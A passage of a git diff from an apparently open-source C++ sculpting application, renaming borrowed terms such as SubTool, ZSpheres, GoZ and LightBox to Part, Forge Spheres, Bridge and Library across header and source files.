- // Geometry > QRemesh (quad retopology on a worker thread) and SubTool > Project (ProjectAll); PanelRetopo.cpp.
+ // Geometry > QRemesh (quad retopology on a worker thread) and Part > Project (ProjectAll); PanelRetopo.cpp.
void registerRetopoUiActions();
void drawQRemeshContents();
void drawProjectContents();
void startQRemesh();
void drawKeepTextureCheckbox(const char* id, const char* path); // Keep Texture under Remesh and QRemesh (PanelTexture.cpp)
- // Voxel Remesh of a painted SubTool with Keep Texture: the remesh, Auto UV and texture transfer run on a
+ // Voxel Remesh of a painted Part with Keep Texture: the remesh, Auto UV and texture transfer run on a
// worker thread (PanelRetopo.cpp); otherwise Voxel Remesh is the plain remesh command.
void startVoxelRemesh();
void pollVoxelRemesh();
@@ -1029,7 +1029,7 @@ private:
std::shared_ptr<std::atomic<bool>> cancel;
std::shared_ptr<Mesh> result;
std::shared_ptr<std::string> error, note;
- uint32_t subtool = 0;
+ uint32_t part = 0;
size_t triangles = 0;
int resolution = 200;
bool keepMasked = false, keepTexture = true;
@@ -1043,7 +1043,7 @@ private:
std::shared_ptr<Mesh> result;
std::shared_ptr<QRemeshStats> stats;
std::shared_ptr<std::string> error;
- uint32_t subtool = 0; // SubTool id it remeshes
+ uint32_t part = 0; // Part id it remeshes
size_t triangles = 0; // the mesh must still have this many triangles when it finishes
bool keepOriginal = false;
Args args; // the equivalent qremesh command, for the console
@@ -1054,15 +1054,15 @@ private:
int method = 0; // 0 = QRemesh 2 (QRemeshMethod::V2), 1 = Legacy
int target = 5000;
float adaptive = 0.5f;
- bool keepGroups = false, detectEdges = true, usePolypaint = false, symmetry = true, keepOriginal = false;
+ bool keepGroups = false, detectEdges = true, useVertexPaint = false, symmetry = true, keepOriginal = false;
bool keepMasked = false; // Keep Masked (#43): the masked area stays as it is (core/KeepMasked.h)
float projectDist = 0.02f;
int projectBlur = 0;
- bool projectMean = false, projectGeometry = true, projectPolypaint = true;
+ bool projectMean = false, projectGeometry = true, projectVertexPaint = true;
} retopo_;
- // The last QRemesh's quality report (shown under the QRemesh controls while that SubTool is active).
+ // The last QRemesh's quality report (shown under the QRemesh controls while that Part is active).
QRemeshStats lastQRemeshStats_;
- uint64_t lastQRemeshSubtool_ = 0;
+ uint64_t lastQRemeshPart_ = 0;
bool haveQRemeshStats_ = false;
void drawQRemeshReport();
// QRemesh Guides (PanelRetopo.cpp, core/QRemeshGuides.h): the "QRemesh Guides" brush draws curves on the
@@ -1087,44 +1087,44 @@ private:
// Which guide points face the camera (drawn solid; the others faint), cached per view and guide set.
std::vector<std::vector<uint8_t>> guideVisible_;
uint64_t guideVisibleKey_ = 0;
- // ZSpheres (PanelZSpheres.cpp, core/ZSpheres.h): while a ZSphere SubTool is active, clicks on it draw, move,
+ // Forge Spheres (PanelForge Spheres.cpp, core/Forge Spheres.h): while a Forge Sphere Part is active, clicks on it draw, move,
// scale or delete spheres instead of sculpting; each drag is one undo step.
- enum class ZSphereMode { Draw, Move, Scale };
- void registerZSphereUiActions();
- void drawZSpheresContents(); // Tool > ZSpheres
- bool zsphereMouseDown(float x, float y, SDL_Keymod mod); // true if it took the click
- void zsphereDragTo(float x, float y);
- void zsphereRelease();
- void drawZSphereOverlay(); // the hovered sphere's outline
- bool zsphereActive() const { return !doc_.mesh.zspheres.empty(); }
- int zsphereAt(float x, float y, bool* link = nullptr) const; // sphere (or link's child) under the cursor, or -1
+ enum class ForgeSphereMode { Draw, Move, Scale };
+ void registerForgeSphereUiActions();
+ void drawForgeSpheresContents(); // Tool > Forge Spheres
+ bool forgesphereMouseDown(float x, float y, SDL_Keymod mod); // true if it took the click
+ void forgesphereDragTo(float x, float y);
+ void forgesphereRelease();
+ void drawForgeSphereOverlay(); // the hovered sphere's outline
+ bool forgesphereActive() const { return !doc_.mesh.forgespheres.empty(); }
+ int forgesphereAt(float x, float y, bool* link = nullptr) const; // sphere (or link's child) under the cursor, or -1
float worldPerPixel(const glm::vec3& at) const; // world size of one canvas pixel at `at`'s depth
- ZSphereMode zsphereMode_ = ZSphereMode::Draw;
- bool zspherePlaceChild_ = false; // Draw: the drag moves the new sphere away from its parent (Ctrl does it too)
- int zsphereSelected_ = -1; // the sphere last clicked or added (Delete Selected, the menu); -1 none
+ ForgeSphereMode forgesphereMode_ = ForgeSphereMode::Draw;
+ bool forgespherePlaceChild_ = false; // Draw: the drag moves the new sphere away from its parent (Ctrl does it too)
+ int forgesphereSelected_ = -1; // the sphere last clicked or added (Delete Selected, the menu); -1 none
// The right-click menu on a sphere: armed by a right press on one, opened if it was a click.
- struct ZSphereMenu {
+ struct ForgeSphereMenu {
bool armed = false, open = false;
int sphere = -1;
bool link = false;
float x = 0.0f, y = 0.0f;
} zsMenu_;
- bool zsphereRightDown(float x, float y); // a right press on a sphere arms the menu
+ bool forgesphereRightDown(float x, float y); // a right press on a sphere arms the menu
float deformAmount_[4] = {50.0f, 50.0f, 50.0f, 50.0f}; // Tool > Deformation: Polish, Relax, Smooth, Balloon
bool deformKeepVolume_ = false;
float zoomDragAmount(float dx, float dy) const; // Drag::Zoom's step (App.cpp)
- void drawZSphereMenu();
+ void drawForgeSphereMenu();
bool zsMenuShown_ = false; // the menu was drawn this frame (UI tests)
// Delete, Insert (a joint on the link to its parent) or Set as root on sphere `i`, symmetric, one undo step.
- enum class ZSphereEdit { Delete, Insert, SetRoot };
- void zsphereEdit(ZSphereEdit edit, int i);
- int zsphereSelection() const; // zsphereSelected_ when it is still a sphere, else -1
- int zsphereResolution_ = 128; // Make Mesh resolution
- struct ZSphereDrag {
- ZSphereMode op = ZSphereMode::Draw; // what this drag does (a Draw click on a link then moves the new joint)
+ enum class ForgeSphereEdit { Delete, Insert, SetRoot };
+ void forgesphereEdit(ForgeSphereEdit edit, int i);
+ int forgesphereSelection() const; // Forge SphereSelected_ when it is still a sphere, else -1
+ int forgesphereResolution_ = 128; // Make Mesh resolution
+ struct ForgeSphereDrag {
+ ForgeSphereMode op = ForgeSphereMode::Draw; // what this drag does (a Draw click on a link then moves the new joint)
int sphere = -1; // the sphere being drawn, moved or scaled
- std::vector<ZSphere> start; // the armature when the drag began
- Mesh before; // the SubTool's mesh then (the undo step's old state)
+ std::vector<ForgeSphere> start; // the armature when the drag began
+ Mesh before; // the Part's mesh then (the undo step's old state)
glm::vec3 grab{0.0f}; // Move: the centre's offset from the grab plane's hit
float x = 0.0f, y = 0.0f; // where the press was
bool changed = false;
@@ -1133,23 +1133,23 @@ private:
const char* label = "";
} zsDrag_;
const BrushRecipe* strokeRecipe() const; // recipe the current stroke sculpts with (none for Smooth / paint only)
- // ZBrush GoZ bridge and GoZ/STL files (PanelGoz.cpp).
- void drawGozMenu();
- void pollGoz();
- void runGozCommand(const std::string& name, const Args& args = {});
- static void SDLCALL onGozFileChosen(void* userdata, const char* const* files, int filter);
- enum class GozFile { Import, Export, ExportStl, Count };
- struct GozDialog {
+ // Bridge bridge and Bridge/STL files (PanelBridge.cpp).
+ void drawBridgeMenu();
+ void pollBridge();
+ void runBridgeCommand(const std::string& name, const Args& args = {});
+ static void SDLCALL onBridgeFileChosen(void* userdata, const char* const* files, int filter);
+ enum class BridgeFile { Import, Export, ExportStl, Count };
+ struct BridgeDialog {
App* app;
- GozFile kind;
+ BridgeFile kind;
};
- GozDialog gozDialogs_[int(GozFile::Count)];
- std::vector<std::pair<GozFile, std::string>> gozPendingFiles_; // guarded by pendingMutex_
- char gozFolder_[512] = ""; // custom GoZ root (empty = the platform default)
- bool gozAutoReceive_ = false; // import whenever ZBrush rewrites GoZ_ObjectList.txt
- long long gozListTime_ = 0; // last seen modification time of the object list
- Uint64 gozLastPollNs_ = 0;
- bool gozInitialised_ = false;
+ BridgeDialog bridgeDialogs_[int(BridgeFile::Count)];
+ std::vector<std::pair<BridgeFile, std::string>> bridgePendingFiles_; // guarded by pendingMutex_
+ char bridgeFolder_[512] = ""; // custom Bridge root (empty = the platform default)
+ bool bridgeAutoReceive_ = false; // import whenever the other application rewrites the object list
+ long long bridgeListTime_ = 0; // last seen modification time of the object list
+ Uint64 bridgeLastPollNs_ = 0;
+ bool bridgeInitialised_ = false;
// Blender bridge (PanelBlender.cpp, io/BlenderBridge.h): the add-on's exchange folder, polled once a second.
void drawBlenderMenu();
void pollBlender();
@@ -1260,18 +1260,18 @@ private:
uint64_t autosaveRevision_ = ~uint64_t(0);
bool autosaveWritten_ = false;
std::string windowTitle_;
- // SubTools (PanelSubTools.cpp): the panel, and Alt+click in the viewport to select one.
- void drawSubToolPopups();
- // Index of the nearest visible SubTool under the cursor (-1: none); builds stale BVHs on the way.
- int pickSubtool(float x, float y, RayHit* hit = nullptr);
- void subtoolClickMove(float x, float y); // Alt press on another SubTool: dragging turns it into a stroke
- void subtoolClickRelease(); // ... and releasing without dragging selects it
- int subtoolClickTarget_ = -1;
- bool subtoolClickFrame_ = false; // Shift+Alt+click: frame the SubTool as well
+ // Parts (PanelParts.cpp): the panel, and Alt+click in the viewport to select one.
+ void drawPartPopups();
+ // Index of the nearest visible Part under the cursor (-1: none); builds stale BVHs on the way.
+ int pickPart(float x, float y, RayHit* hit = nullptr);
+ void partClickMove(float x, float y); // Alt press on another Part: dragging turns it into a stroke
+ void partClickRelease(); // ... and releasing without dragging selects it
+ int partClickTarget_ = -1;
+ bool partClickFrame_ = false; // Shift+Alt+click: frame the Part as well
int mouseClicks_ = 1; // SDL's click count of the press being handled (3 = a triple-click, #43)
bool spaceHeld_ = false; // Space is down with Preferences > Input > Hold Space to move the camera on (#43)
- float subtoolClickX_ = 0.0f, subtoolClickY_ = 0.0f;
- Uint64 subtoolClickNs_ = 0; // when the Alt press on another Part began (a long pen press isn't a click)
+ float partClickX_ = 0.0f, partClickY_ = 0.0f;
+ Uint64 partClickNs_ = 0; // when the Alt press on another Part began (a long pen press isn't a click)
void partSelected(const char* how);
// A background job's result (Auto UV, Voxel Remesh, QRemesh, Unwrap) goes onto the Part it ran on, and the
// active Part stays the one the user is on (Discord: "the active Part switches by itself" when a job finished
@@ -1288,24 +1288,24 @@ private:
};
bool jobWaitsForStroke() const;
Uint64 clickClockNs() const; // the status bar names the new active Part and how it was chosen
- uint32_t renamingSubtool_ = 0; // SubTool id being renamed inline (0: none)
- uint32_t listedActiveSubtool_ = 0; // the list scrolls to the active SubTool when it changes
- // SubTool thumbnails (#43): rendered from each SubTool's GPU buffers while the SubTools panel shows, one per frame
- // at most, a change once it has settled (SubtoolThumbnails.h); GL textures by SubTool id.
- SubtoolThumbnailSchedule subtoolThumbSchedule_;
- std::unordered_map<uint32_t, unsigned> subtoolThumbs_;
- bool subtoolPanelShown_ = false; // drawn this frame
- void updateSubtoolThumbnails(); // after syncScene, GL current
- void clearSubtoolThumbnails();
+ uint32_t renamingPart_ = 0; // Part id being renamed inline (0: none)
+ uint32_t listedActivePart_ = 0; // the list scrolls to the active Part when it changes
+ // Part thumbnails (#43): rendered from each Part's GPU buffers while the Parts panel shows, one per frame
+ // at most, a change once it has settled (PartThumbnails.h); GL textures by Part id.
+ PartThumbnailSchedule partThumbSchedule_;
+ std::unordered_map<uint32_t, unsigned> partThumbs_;
+ bool partPanelShown_ = false; // drawn this frame
+ void updatePartThumbnails(); // after syncScene, GL current
+ void clearPartThumbnails();
bool focusRename_ = false;
char renameBuffer_[128] = "";
- // Not-undoable SubTool commands wait for a confirmation popup.
- struct SubToolConfirm {
+ // Not-undoable Part commands wait for a confirmation popup.
+ struct PartConfirm {
std::string title, message, button, command;
};
- SubToolConfirm subtoolConfirm_;
- bool openSubtoolConfirm_ = false;
- // Split by polygroups needs more than one group; counted only when the active mesh changes.
+ PartConfirm partConfirm_;
+ bool openPartConfirm_ = false;
+ // Split by face groups needs more than one group; counted only when the active mesh changes.
uint64_t splitGroupsKey_ = ~uint64_t(0);
bool splitGroupsPossible_ = false;
// Community brushes window (PanelBrushGallery.cpp): browse, search and install shared brushes.
@@ -1413,7 +1413,7 @@ private:
// Tool > Selection Sets (PanelSelectionSets.cpp).
void drawSelectionSetsSection();
char setNameBuffer_[64] = "Set 1";
- uint32_t setChannels_ = 1 | 2 | 8; // kSetMask | kSetPolygroups | kSetVisibility (core/SelectionSets.h)
+ uint32_t setChannels_ = 1 | 2 | 8; // kSetMask | kSetFace groups | kSetVisibility (core/SelectionSets.h)
std::string selectedSet_, combineWith_;
int setMode_ = 0; // Replace, Union, Intersect, Subtract
float morphAmount_ = 1.0f;
@@ -1424,15 +1424,15 @@ private:
float sdivSlider_ = 1.0f; // the SDiv slider while dragged (1-based)
float microSlider_ = 4.0f; // Tool > Geometry > Micro: the micro level the next Divide to micro makes
bool sdivHeld_ = false;
- void drawSubToolsContents();
- // PanelExtract.cpp: Tool > SubTool > Extract, Tool > Geometry > Modify Topology (Mirror And Weld) and
- // Tool > Deformation (Mirror), as in ZBrush.
+ void drawPartsContents();
+ // PanelExtract.cpp: Tool > Part > Extract, Tool > Geometry > Modify Topology (Mirror And Weld) and
+ // Tool > Deformation (Mirror).
void drawExtractContents();
void drawModifyTopologyContents();
void drawDeformationContents();
void runExtract(); // Extract with the palette's settings (a preview; Accept keeps it)
static std::string axesText(const bool axes[3]); // "x", "xz", "" (the axis argument of mirror commands)
- float extractThick_ = 0.015f; // Thick: fraction of the SubTool's size
+ float extractThick_ = 0.015f; // Thick: fraction of the Part's size
int extractSmooth_ = 5; // E Smt
bool extractDouble_ = false; // Double
bool extractTCorne_ = false; // TCorne
@@ -1473,18 +1473,18 @@ private:
} shelfDrag_;
// ---- end Shell (A) ----
- // ---- LightBox (B): LightBox, thumbnails, pickers ----
- LightBox lightbox_;
+ // ---- Library (B): Library, thumbnails, pickers ----
+ LibraryBrowser libraryBrowser_;
ThumbnailCache thumbs_;
friend struct PickerUi;
friend void drawAlphaGrid(App&, GridMode);
friend void drawMaterialGrid(App&, GridMode);
friend void drawStrokeGrid(App&, GridMode);
- void initLightBox(); // end of init(): library folders, thumbnail cache, actions, project thumbnails
+ void initLibraryBrowser(); // end of init(): library folders, thumbnail cache, actions, project thumbnails
void showStarterMeshes(); // the Library at Tool > Starter meshes (File > New from Starter Mesh, the welcome)
- void drawLightBoxUi(); // every frame from drawUi: thumbnails, the LightBox, pickers, size / strength pop-ups
- // The LightBox / picker shortcuts (, B M S) until the action registry dispatches keys.
- bool lightBoxKey(SDL_Keycode key, SDL_Keymod mod);
+ void drawLibraryBrowserUi(); // every frame from drawUi: thumbnails, the Library, pickers, size / strength pop-ups
+ // The Library / picker shortcuts (, B M S) until the action registry dispatches keys.
+ bool libraryKey(SDL_Keycode key, SDL_Keymod mod);
void quickSave(); // file.quicksave: a timestamped project in <library>/QuickSave
// Save Render (render.save_image, save_render): the view without the interface, by default as a PNG in
// <library>/Images at twice the view's size. `size` is the longer side (0 = twice the view, at most 4096),
@@ -1505,7 +1505,7 @@ private:
void drawSaveRenderControls();
LibraryRoots library_;
FolderScanner libraryScanner_;
- // ---- end LightBox (B) ----
+ // ---- end Library (B) ----
// ---- Help/Console/Config (C): actions, help, command palette, console, config ----
public:
@@ -1531,7 +1531,7 @@ private:
friend class Console;
friend class CommandPalette;
friend void config::drawHotkeysSection(App&);
- friend void config::drawLightBoxSection(App&);
+ friend void config::drawLibraryBrowserSection(App&);
void initUiConfig(bool deterministic); // reads ui.json before fonts are built (UI scale)
void initActions(); // the default actions and shortcuts, then every command as cmd.*
void addHelpFonts(float scale);
@@ -1559,7 +1559,7 @@ private:
float viewFigureRadius() const;
void drawViewFigure();
// Insert on the model (#34): the primitive chosen in Append > Insert; a drag on the surface places it.
- // "mesh" inserts your own mesh instead: insertMeshKey_ is "subtool" (a SubTool's name) or "file" (a path
+ // "mesh" inserts your own mesh instead: insertMeshKey_ is "part" (a Part's name) or "file" (a path
// chosen in the file dialog), insertMeshValue_ the name or path (insert_mesh).
std::string insertType_;
std::string insertMeshKey_, insertMeshValue_;
@@ -1622,14 +1622,14 @@ private:
void drawGizmoContents(bool compact); // Transform palette > Gizmo 3D and the floating panel
void updateGizmoPivot(); // follows the moving part's centre until the pivot is placed
void resetGizmoPivot();
- void snapGizmoPivot(const RayHit& hit, int subtool);
+ void snapGizmoPivot(const RayHit& hit, int part);
void applyGizmoNumbers(); // the panel's Move / Rotate / Scale fields, as a transform command
glm::mat3 gizmoFrame() const;
float gizmoWorldSize() const; // world length of an axis arrow (constant on screen)
bool gizmoProject(const glm::vec3& p, ImVec2& out) const; // false behind the camera
GizmoHandle gizmoHandleAt(float x, float y) const;
bool gizmoHandleScreen(GizmoHandle h, ImVec2& out) const; // a point to grab handle h (UI tests)
- std::vector<int> gizmoTargets() const; // SubTools a drag transforms (the active one, or All)
+ std::vector<int> gizmoTargets() const; // Parts a drag transforms (the active one, or All)
void gizmoAfterUndo(bool redo); // the gizmo goes back (or forward) with its own steps
void rememberGizmoStep(const glm::vec3& before, const glm::mat3& frameBefore, bool surfaceBefore);
struct GizmoState {
@@ -1657,14 +1657,14 @@ private:
glm::vec3 surfaceNormal{0, 1, 0}; // at the last snap (Surface orientation)
bool pendingSnap = false; // Alt+press on the model: a click (no drag) puts the pivot there
RayHit snapHit;
- int snapSubtool = -1;
+ int snapPart = -1;
MeshTransform current;
- std::vector<int> subtools;
+ std::vector<int> parts;
std::vector<TransformSession> sessions;
std::string readout; // shown beside the gizmo while dragging ("Rotate 45")
- // Where the gizmo was before and after each of its undo steps (active SubTool, by undo depth).
+ // Where the gizmo was before and after each of its undo steps (active Part, by undo depth).
struct Step {
- uint32_t subtool = 0;
+ uint32_t part = 0;
size_t depth = 0; // UndoStack::undoCount() right after the step
glm::vec3 before{0.0f}, after{0.0f};
glm::mat3 frameBefore{1.0f}, frameAfter{1.0f};
@@ -1676,12 +1676,12 @@ private:
} gizmo_;
// ---- end Gizmo 3D ----
// ---- Classic sculpting keys (Input.cpp, docs/guide/quick-tour.md) ----
- // Preferences > Input (the ZBrush or SculptForge key style), the Space QuickMenu, the intensities and Focal
- // Shift (U / I / O), ZBrush's mask and polygroup keys, Shift-constrained straight strokes and the
+ // Preferences > Input (the classic or SculptForge key style), the Space QuickMenu, the intensities and Focal
+ // Shift (U / I / O), the classic mask and face group keys, Shift-constrained straight strokes and the
// Shift+click, release Shift, drag roll.
void registerInputActions();
void applyInputStyle(); // the style's default shortcuts (1-0 brushes or 9 QuickSave; I = RGB or Z Intensity)
- bool zbrushStyle() const { return uiPrefs_.inputStyle == 0; }
+ bool classicStyle() const { return uiPrefs_.inputStyle == 0; }
bool blenderStyle() const { return uiPrefs_.inputStyle == 2; }
bool mayaStyle() const { return uiPrefs_.inputStyle == 3; } // #32: Alt+left/middle/right orbit/pan/zoom
bool mayaNavigationDown(Uint8 button);
@@ -1693,7 +1693,7 @@ private:
void registerViewActions();
void viewAxis(float yawDegrees, float pitchDegrees); // Numpad 1 / 3 / 7: orthographic until turned
void viewOrbitStep(float yawDegrees, float pitchDegrees);
- void frameActiveSubtool();
+ void frameActivePart();
// Focus Detail (prototype, FocusDetailApp.cpp): open a .sfdetail file; once a frame, the camera and brush.
void openFocusDetail(const std::string& path);
void updateFocusDetail();
@@ -1715,7 +1715,7 @@ private:
bool paint = false;
} maskBrush_;
bool autoOrtho_ = false; // an axis view switched to orthographic; orbiting goes back to perspective (Blender)
- // ZBrush: while Ctrl is held the brush is the mask brush, with Ctrl+Shift the selection (hide) brush. The shelf
+ // while Ctrl is held the brush is the mask brush, with Ctrl+Shift the selection (hide) brush. The shelf
// tiles show it, and the Brush / Stroke pickers opened then pick among those brushes (PanelMasking.cpp).
enum class HeldBrush { None, Mask, Select };
HeldBrush heldBrush() const;
@@ -1737,12 +1737,12 @@ private:
bool hintShown(const char* id) const;
void drawViewportHint(const char* id, const char* text, ImU32 colour, float top);
void drawHintsSection();
- // Z Intensity (0-100 on screen): Smooth's own while Shift is held or Smooth is the brush, as in ZBrush.
+ // Z Intensity (0-100 on screen): Smooth's own while Shift is held or Smooth is the brush.
void drawZIntensitySlider(const char* id);
void openQuickMenu();
void quickMenuKeyUp(); // Space released: a hold closes the menu, a tap leaves it open
// A right click on the canvas (pressed and let go without moving past kRightClickSlop) opens the QuickMenu
- // there, as in ZBrush (#22); a right drag navigates as before. Preferences > Input > Right click opens the
+ // there (#22); a right drag navigates as before. Preferences > Input > Right click opens the
// QuickMenu (uiPrefs_.rightClickQuickMenu).
void rightClickRelease();
void drawQuickMenu();
@@ -1753,11 +1753,11 @@ private:
float smoothStrength_ = 0.5f; // Smooth's own Z Intensity (Shift+stroke, or the Smooth brush)
bool smoothKeepVolume_ = false; // Brush > Smooth keeps volume: a Taubin smooth instead of the plain one (#40)
bool smoothGroupBorders_ = false; // Brush > Smooth face group borders only: straightens the borders (#81)
- // ZBrush's alternate smooth (#40): a stroke begun with Shift held that lets go of Shift while still pressing
+ // the classic alternate smooth (#40): a stroke begun with Shift held that lets go of Shift while still pressing
// smooths the other way (keeping the volume, or plainly when Smooth keeps volume) for the rest of the stroke.
bool strokeAltSmooth_ = false;
- float rgbIntensity_ = 1.0f; // paint strength (ZBrush RGB Intensity, 100 by default)
- float focalShift_ = 0.0f; // -1..1 (ZBrush Focal Shift -100..100)
+ float rgbIntensity_ = 1.0f; // paint strength (RGB Intensity, 100 by default)
+ float focalShift_ = 0.0f; // -1..1 (Focal Shift -100..100)
// Per-brush settings (#78, BrushSettingsUi.cpp, core/BrushSettings.h): each frame, a brush switch stores the
// brush left and brings back the picked brush's own Draw Size, Z Intensity, Falloff, RGB Intensity, stroke and
// alpha. Save Brush Settings writes them (<app data>/brush-settings.json) so they load at startup; Reset Brush
@@ -1795,7 +1795,7 @@ private:
// editor (plain text, checked as you type), and one action per macro ("macro.<pack or user>.<name>") for F3, keys
// and pie menus. A macro shows its whole command list and asks before it first runs (again after it changed).
public:
- void drawPacksTab(float height); // Library > Packs (LightBox.cpp)
+ void drawPacksTab(float height); // Library > Packs (Library.cpp)
double packsTestValue(const std::string& name) const; // NaN: not a pack value (UiTest.cpp)
void packDialogAnswered(std::string path); // thread-safe: a pack or macro file dialog's answer
void reviewPackFile(const std::string& path); // File > Install Pack, a dropped .sfpack: the review screen
@@ -1806,7 +1806,7 @@ private:
void registerPackActions();
void refreshPacks(); // after an install, removal or switch: brushes, VDMs, Lit Spheres, recipes, macros
void refreshMacroActions(); // one action per macro
- void loadPackMatcaps();
+ void loadPackLitSpheres();
void drawPacksUi(); // the review screen, New Pack, the macro confirmation and the macro editor
void drawPackReview();
void drawNewPack();
@@ -1844,7 +1844,7 @@ private:
struct PacksUi {
std::vector<InstalledPack> installed;
std::vector<PackContentItem> alphas, materials, keymaps, pieMenus;
- std::vector<int> matcaps; // Lit Sphere indices the packs added (removed again on a refresh)
+ std::vector<int> litspheres; // Lit Sphere indices the packs added (removed again on a refresh)
std::unique_ptr<PackReview> review;
std::string reviewError, reviewPath;
bool reviewOpen = false;
@@ -1985,7 +1985,7 @@ private:
glm::vec2 lastDabScreen_{0.0f}; // window pixels of the last dab (UI tests: last_dab_x / last_dab_y)
bool maskClickPending_ = false; // Ctrl+press on the model: a click blurs (Alt: sharpens), a drag paints
float maskClickX_ = 0.0f, maskClickY_ = 0.0f;
- // ---- end ZBrush feel ----
+ // ---- end classic feel ----
// ---- Redraw on demand (App.cpp run()) ----
bool wantsFrames(double now) const; // something animates or runs: keep drawing
bool focusKeepsDrawing(double now) const; // the window has focus and was just used (not: the pointer is over it)
diff --git a/src/app/AssetLibrary.cpp b/src/app/AssetLibrary.cpp
index 8a8d6d42..02fe934f 100644
--- a/src/app/AssetLibrary.cpp
+++ b/src/app/AssetLibrary.cpp
@@ -3,6 +3,7 @@
#include "app/AssetLibrary.h"
#include "core/LegacyNames.h"
+#include "io/BridgeProtocol.h"
#include <algorithm>
#include <cctype>
@@ -91,7 +92,7 @@ const char* libraryTabFolder(LibraryTab tab) {
case LibraryTab::Alpha:
return "Alphas";
case LibraryTab::Material:
- return "Lit Spheres"; // custom lit-sphere images, loaded at start-up (core/Matcap.h)
+ return "Lit Spheres"; // custom lit-sphere images, loaded at start-up (core/Lit Sphere.h)
case LibraryTab::Image:
return "Images";
case LibraryTab::Splats:
@@ -104,7 +105,7 @@ const char* libraryTabFolder(LibraryTab tab) {
}
bool isMeshFile(const std::string& path) {
- return anyOf(lowerExt(path), {".obj", ".glb", ".gltf", ".fbx", ".stl", ".ply", ".usda", ".usdz", ".usd", ".goz"});
+ return anyOf(lowerExt(path), {".obj", ".glb", ".gltf", ".fbx", ".stl", ".ply", ".usda", ".usdz", ".usd", bridgefile::kExtLower});
}
bool isSplatFile(const std::string& path) { return anyOf(lowerExt(path), {".ply", ".splat"}); }
bool isImageFile(const std::string& path) {
@@ -188,11 +189,16 @@ bool ensureUserLibrary(const std::string& root, std::string& error) {
return false;
}
std::error_code ec;
- for (const legacy::Rename& r : legacy::kLibraryFolders) { // a library from an older version: move the folder over
- const fs::path from = fsPath(root) / std::string(r.old), to = fsPath(root) / std::string(r.now);
- if (fs::is_directory(from, ec) && !fs::exists(to, ec)) fs::rename(from, to, ec);
- ec.clear();
+ // A library from an older version: move its Lit Spheres folder over.
+ for (fs::directory_iterator it(fsPath(root), ec), end; !ec && it != end; it.increment(ec)) {
+ const std::string name = utf8(it->path().filename());
+ if (legacy::modernize(name) != "LitSpheres" || !it->is_directory(ec)) continue;
+ const fs::path to = fsPath(root) / "Lit Spheres";
+ std::error_code mv;
+ if (!fs::exists(to, mv)) fs::rename(it->path(), to, mv);
+ break;
}
+ ec.clear();
for (int i = 0; i < int(LibraryTab::Count); ++i) {
const char* sub = libraryTabFolder(LibraryTab(i));
if (!*sub) continue;
diff --git a/src/app/AssetLibrary.h b/src/app/AssetLibrary.h
index 6b63eeb6..3eb1e22a 100644
--- a/src/app/AssetLibrary.h
+++ b/src/app/AssetLibrary.h
@@ -1,8 +1,8 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The asset library behind the LightBox: the built-in and user folders, what
-// each LightBox tab lists, folder scanning on a worker thread, QuickSave files
+// The asset library behind the Library: the built-in and user folders, what
+// each Library tab lists, folder scanning on a worker thread, QuickSave files
// and the thumbnail cache keys. No GL or ImGui here, so the unit tests link it.
#pragma once
@@ -21,14 +21,14 @@ enum class AssetKind {
Folder, // a directory (double-click enters it)
Up, // the ".." tile at the start of a sub-folder
Project, // .sfproj
- Mesh, // .obj .glb .gltf .fbx .stl .ply .usda .usdz .GoZ
+ Mesh, // .obj .glb .gltf .fbx .stl .ply .usda .usdz Bridge
Primitive, // built-in Sphere / Cube / Plane (index = Primitive)
BrushType, // built-in brush (index = BrushType, kPaintBrush = the Paint brush)
Recipe, // custom brush in the document (index into doc.brushes)
BrushFile, // .sfbrush not loaded yet
Alpha, // built-in alpha (name)
AlphaFile, // image used as an alpha
- Material, // matcap (index; -1 = Studio)
+ Material, // lit sphere (index; -1 = Studio)
Image, // reference image
Splat, // Gaussian splat capture (.ply .splat, splat .glb)
Vdm, // vector displacement map in the brush library (name; Capture from view saves these)
@@ -47,10 +47,10 @@ struct AssetEntry {
int64_t mtime = 0; // seconds since the epoch (files)
};
-// The LightBox tabs, in the order they are shown.
+// The Library tabs, in the order they are shown.
enum class LibraryTab { Project, Tool, Brush, Alpha, Material, Image, Splats, QuickSave, Recent, Packs, Count };
const char* libraryTabName(LibraryTab tab); // "Project"
-const char* libraryTabId(LibraryTab tab); // "project" (UiLayout::lightboxTab)
+const char* libraryTabId(LibraryTab tab); // "project" (UiLayout::LibraryTab)
LibraryTab libraryTabFromId(std::string_view id); // unknown -> Project
// User-library sub-folder a tab browses ("Projects", "Tools", ...); "" for tabs without one.
const char* libraryTabFolder(LibraryTab tab);
@@ -96,7 +96,7 @@ int64_t modifiedTime(const std::string& path);
// Lists folders on a worker thread. get() never blocks: it returns the last finished listing (or
// nullptr before the first one) and starts a scan when there is none or the folder changed. Call
// poll() once per frame; it collects finished scans and re-checks each folder's time stamp every
-// `recheckSeconds` (a cheap stat, as ZBrush's LightBox refreshes while open).
+// `recheckSeconds` (a cheap stat Library refreshes while open).
class FolderScanner {
public:
using Accept = std::function<AssetKind(const std::string&)>;
@@ -143,7 +143,7 @@ std::string typedClassicKeys(const std::string& typed);
// containing it (`substring` says which). Empty `typed` keeps all.
std::vector<size_t> filterByTyped(const std::vector<std::string>& names, const std::string& typed,
bool* substring = nullptr);
-// The key badge of each kept name: ZBrush's own second letter for the brushes it shares with SculptForge
+// The key badge of each kept name: the Classic sculpting keys' second letter for the brushes it shares with SculptForge
// (B C B Clay Block, B D S Sharp Crease, B M V Move ...), otherwise the first letter after `typed` in the name
// that no earlier name took. Returns (letter, index into names) pairs; substring matches get none.
std::vector<std::pair<char, size_t>> letterBadges(const std::vector<std::string>& names,
diff --git a/src/app/AsyncStroke.cpp b/src/app/AsyncStroke.cpp
index 0f117024..4b46963b 100644
--- a/src/app/AsyncStroke.cpp
+++ b/src/app/AsyncStroke.cpp
@@ -271,7 +271,7 @@ void App::pumpStroke() {
s.view.probe = nullptr;
s.view.radiusProbe = nullptr;
s.view.settings = dabSettings();
- s.uploadId = doc_.activeSubtoolInfo().id;
+ s.uploadId = doc_.activePartInfo().id;
renderer_.setPersistentUpload(uiPrefs_.fastUpload);
renderer_.bindStrokeUpload(s.uploadId, s.upload); // (the slot, found here: the thread doesn't walk the renderer's list)
s.prepare = &displayedMesh() == &doc_.mesh;
@@ -300,7 +300,7 @@ void App::pumpStroke() {
s.view.probe = strokeProbe_ ? &s.probe : nullptr;
s.view.radiusProbe = strokeProbe_ ? &s.radiusProbe : nullptr;
s.view.settings = dabSettings();
- s.uploadId = doc_.activeSubtoolInfo().id;
+ s.uploadId = doc_.activePartInfo().id;
renderer_.setPersistentUpload(uiPrefs_.fastUpload);
